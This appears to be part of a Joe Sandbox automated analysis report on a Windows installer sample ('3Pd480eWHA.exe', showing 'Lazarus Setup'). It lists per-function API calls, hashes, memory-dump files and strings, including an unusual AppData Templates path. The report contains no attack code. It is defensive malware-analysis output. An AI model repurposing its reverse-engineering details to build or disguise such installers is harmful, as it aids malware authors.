Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 0fd0461592f2d81c1c03ce05c628ae056ab63dad8406c1f23e4af249cfc5fe4d
Instruction ID: 7c635d8461ea366e4ce50998120561f43c0f0a4d26a99d582f7a8baadb7aa675
Opcode Fuzzy Hash: 0fd0461592f2d81c1c03ce05c628ae056ab63dad8406c1f23e4af249cfc5fe4d
Instruction Fuzzy Hash: 98A00176808101EBCB029B50FE08D4ABF62ABA4709B12D426E25594174D6365871FF2A

Function 004014D6 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E5

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6ef222803d68d34d2b98f7333693f5778702576746e8508d9016a81179eb72e8
Instruction ID: 792a8355e77204e71b52dac9cb8dd8af6eaf68ea71b947aa0f734c6da66c5308
Opcode Fuzzy Hash: 6ef222803d68d34d2b98f7333693f5778702576746e8508d9016a81179eb72e8
Instruction Fuzzy Hash: 9AD0C777B145404BD750E7B87E8545A6399F7513253204D33D502F1091D678C9059A29

Non-executed Functions

Function 004048A2 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004048BA
GetDlgItem.USER32(?,00000408), ref: 004048C5
GlobalAlloc.KERNEL32(00000040,00000001), ref: 0040490F
LoadBitmapA.USER32(0000006E), ref: 00404922
SetWindowLongA.USER32(?,000000FC,00404E99), ref: 0040493B
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 0040494F
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404961
SendMessageA.USER32(?,00001109,00000002), ref: 00404977
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404983
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404995
DeleteObject.GDI32(00000000), ref: 00404998
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 004049C3
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 004049CF
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A64
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404A8F
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404AA3
GetWindowLongA.USER32(?,000000F0), ref: 00404AD2
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404AE0
ShowWindow.USER32(?,00000005), ref: 00404AF1
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404BEE
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404C53
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404C68
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404C8C
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404CAC
ImageList_Destroy.COMCTL32(?), ref: 00404CC1
GlobalFree.KERNEL32(?), ref: 00404CD1
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404D4A
SendMessageA.USER32(?,00001102,?,?), ref: 00404DF3
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404E02
InvalidateRect.USER32(?,00000000,00000001), ref: 00404E22
ShowWindow.USER32(?,00000000), ref: 00404E70
GetDlgItem.USER32(?,000003FE), ref: 00404E7B
ShowWindow.USER32(00000000), ref: 00404E82

Strings

N, xrefs: 00404B2C
, xrefs: 00404E5A
M, xrefs: 00404A4B

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 4be3ebb239eb5df190ca789ef438fd3f359f8d4e72245769c592d36fe31c7233
Instruction ID: 76d2e208bb82396193868b8099a6daa05122b73eb358a4a137ee08f8801950ae
Opcode Fuzzy Hash: 4be3ebb239eb5df190ca789ef438fd3f359f8d4e72245769c592d36fe31c7233
Instruction Fuzzy Hash: F1026CB0900209AFEB14DF94DD85AAE7BB9FB84314F10813AF610BA2E1D7789D51CF58

Function 0040432F Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040437E
SetWindowTextA.USER32(00000000,?), ref: 004043A8
SHBrowseForFolderA.SHELL32(?,0079D918,?), ref: 00404459
CoTaskMemFree.OLE32(00000000), ref: 00404464
lstrcmpiA.KERNEL32(Call,0079E540), ref: 00404496
lstrcatA.KERNEL32(?,Call), ref: 004044A2
SetDlgItemTextA.USER32(?,000003FB,?), ref: 004044B4

Part of subcall function 004054E6: GetDlgItemTextA.USER32(?,?,00000400,004044EB), ref: 004054F9

Part of subcall function 00405F77: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\3Pd480eWHA.exe",771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000,004030C7,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032DC), ref: 00405FCF
Part of subcall function 00405F77: CharNextA.USER32(?,?,?,00000000), ref: 00405FDC
Part of subcall function 00405F77: CharNextA.USER32(?,"C:\Users\user\Desktop\3Pd480eWHA.exe",771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000,004030C7,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032DC), ref: 00405FE1
Part of subcall function 00405F77: CharPrevA.USER32(?,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000,004030C7,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032DC), ref: 00405FF1

GetDiskFreeSpaceA.KERNEL32(0079D510,?,?,0000040F,?,0079D510,0079D510,?,00000001,0079D510,?,?,000003FB,?), ref: 00404572
MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040458D

Part of subcall function 004046E6: lstrlenA.KERNEL32(0079E540,0079E540,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404601,000000DF,00000000,00000400,?), ref: 00404784
Part of subcall function 004046E6: wsprintfA.USER32 ref: 0040478C
Part of subcall function 004046E6: SetDlgItemTextA.USER32(?,0079E540), ref: 0040479F

Strings

A, xrefs: 00404452
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne, xrefs: 0040447F
Call, xrefs: 00404490, 00404495, 004044A0
@y, xrefs: 0040442C

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: @y$A$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne$Call
API String ID: 2624150263-2540035258
Opcode ID: dc4fe7cf9e1a75852f8a478e9657d204a566c4560be991004467591f2bc4fc9b
Instruction ID: dc70ebfb722856edf20ca9fe518129045a13840cef36c67e0ec65d3b8ea71268
Opcode Fuzzy Hash: dc4fe7cf9e1a75852f8a478e9657d204a566c4560be991004467591f2bc4fc9b
Instruction Fuzzy Hash: 69A182B1900208ABDB11EFA5DC45BAF77B8EF85314F10843BF601B62D1D77C9A418B69

Function 0040205E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407408,?,00000001,004073F8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020DD
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,004073F8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402189

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit, xrefs: 0040211D

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit
API String ID: 123533781-2623163684
Opcode ID: 9070b07f5c49c3eba4a055dbb4da1717ebb68c024122170813a0f181913405a8
Instruction ID: 14d4926e91d078e82bebccc5f6ab74bc99395aff19d04a9878b07c190defc42e
Opcode Fuzzy Hash: 9070b07f5c49c3eba4a055dbb4da1717ebb68c024122170813a0f181913405a8
Instruction Fuzzy Hash: 9D513871A00208BFDB10DFA4C988A9DBBB5FF48318F20856AF515EB2D1DB799941CB54

Function 00402688 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 00402697

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: d3616940253a6c47e3692c4c08840169220b4dbfcc92f4ed15c26e48d9ac8dbb
Instruction ID: 693c9160ce4d260d62fecbf2f45a0834f3a8ccba4a644e55fc62545b2e120305
Opcode Fuzzy Hash: d3616940253a6c47e3692c4c08840169220b4dbfcc92f4ed15c26e48d9ac8dbb
Instruction Fuzzy Hash: F9F0A0335081509FE701E7B49949AEEB778EF61324F60457BF241B21C1D7B84A84AA3A

Function 0040403A Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004040C5
GetDlgItem.USER32(00000000,000003E8), ref: 004040D9
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 004040F7
GetSysColor.USER32(?), ref: 00404108
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404117
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404126
lstrlenA.KERNEL32(?), ref: 00404129
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404138
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 0040414D
GetDlgItem.USER32(?,0000040A), ref: 004041AF
SendMessageA.USER32(00000000), ref: 004041B2
GetDlgItem.USER32(?,000003E8), ref: 004041DD
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 0040421D
LoadCursorA.USER32(00000000,00007F02), ref: 0040422C
SetCursor.USER32(00000000), ref: 00404235
ShellExecuteA.SHELL32(0000070B,open,007A0EE0,00000000,00000000,00000001), ref: 00404248
LoadCursorA.USER32(00000000,00007F00), ref: 00404255
SetCursor.USER32(00000000), ref: 00404258
SendMessageA.USER32(00000111,00000001,00000000), ref: 00404284
SendMessageA.USER32(00000010,00000000,00000000), ref: 00404298

Strings

open, xrefs: 00404240
Call, xrefs: 00404208
N, xrefs: 004041CB

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: Call$N$open
API String ID: 3615053054-2563687911
Opcode ID: ffa70ba6b414771cfedee8d2664e4b0672246e5e1ae3d005f3366e5b10bf2318
Instruction ID: 325d301b2710361d9817967eb08788495a0e15e312a989604f50e6602a626d4c
Opcode Fuzzy Hash: ffa70ba6b414771cfedee8d2664e4b0672246e5e1ae3d005f3366e5b10bf2318
Instruction Fuzzy Hash: 9161C671A40209BFEB109F60DC45F6A7B69FB84744F10816AFB05BA2D1C7BCA951CF98

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,?), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,Lazarus Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C
Lazarus Setup, xrefs: 00401150

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Lazarus Setup
API String ID: 941294808-2672100267
Opcode ID: 0a68615732e4b88a98f313291f6562efd0598cab8c65ff7e1a40b4ddd25604da
Instruction ID: 5377a76c68583d826c01589a66ce84b6d9bb3dc06a218cd9f98f6b2c798b1645
Opcode Fuzzy Hash: 0a68615732e4b88a98f313291f6562efd0598cab8c65ff7e1a40b4ddd25604da
Instruction Fuzzy Hash: 74419C71804249AFCB058FA5CD459BFBFB9FF45310F00812AF961AA1A0C738EA50DFA5

Function 00405A55 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(007A02D0,NUL,?,00000000,?,00000000,00405BE8,?,?), ref: 00405A64
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,00405BE8,?,?), ref: 00405A88
GetShortPathNameA.KERNEL32(?,007A02D0,00000400), ref: 00405A91

Part of subcall function 004058E4: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B41,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004058F4
Part of subcall function 004058E4: lstrlenA.KERNEL32(00000000,?,00000000,00405B41,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405926

GetShortPathNameA.KERNEL32(007A06D0,007A06D0,00000400), ref: 00405AAE
wsprintfA.USER32 ref: 00405ACC
GetFileSize.KERNEL32(00000000,00000000,007A06D0,C0000000,00000004,007A06D0,?,?,?,?,?), ref: 00405B07
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405B16
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B4E
SetFilePointer.KERNEL32(004093B0,00000000,00000000,00000000,00000000,0079FED0,00000000,-0000000A,004093B0,00000000,[Rename],00000000,00000000,00000000), ref: 00405BA4
GlobalFree.KERNEL32(00000000), ref: 00405BB5
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405BBC

Part of subcall function 0040597F: GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\3Pd480eWHA.exe,80000000,00000003), ref: 00405983
Part of subcall function 0040597F: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059A5

Strings

NUL, xrefs: 00405A5E
[Rename], xrefs: 00405B36, 00405B48
%s=%s, xrefs: 00405AC2

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 222337774-4148678300
Opcode ID: 470faa373d492393558750a21a749fa660293524ffa589413fd4618ea5f3d9a4
Instruction ID: 28628270b370f13d709f2e98436788b9d19fd6dde28ce54c0a079e884eb7da61
Opcode Fuzzy Hash: 470faa373d492393558750a21a749fa660293524ffa589413fd4618ea5f3d9a4
Instruction Fuzzy Hash: 5A311371605B18ABD6206B215C89F6B3A6CDF45764F14013BFE01F22D2DA7CBC008EAD

Function 100021FA Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 139memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 1000234A

Part of subcall function 10001224: lstrcpynA.KERNEL32(00000000,?,100012CF,-1000404B,100011AB,-000000A0), ref: 10001234

GlobalAlloc.KERNEL32(00000040,?), ref: 100022C3
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 100022D8
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100022E7
CLSIDFromString.OLE32(00000000,00000000), ref: 100022F4
GlobalFree.KERNEL32(00000000), ref: 100022FB

Strings

@H3w, xrefs: 100022F4

Memory Dump Source

Source File: 00000000.00000002.1834191377.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1834168923.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1834213458.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1834234460.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3Pd480eWHA.jbxd

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
String ID: @H3w
API String ID: 3730416702-4275297014
Opcode ID: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
Instruction ID: bfa8c22ebd78897ea4dc14f883c746723b208fa17a75ef0c69fbb79ff87ab60c
Opcode Fuzzy Hash: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
Instruction Fuzzy Hash: B541ABB1108311EFF320DFA48884B5BB7F8FF443D1F218529F946D61A9DB34AA448B61

Function 00405F77 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

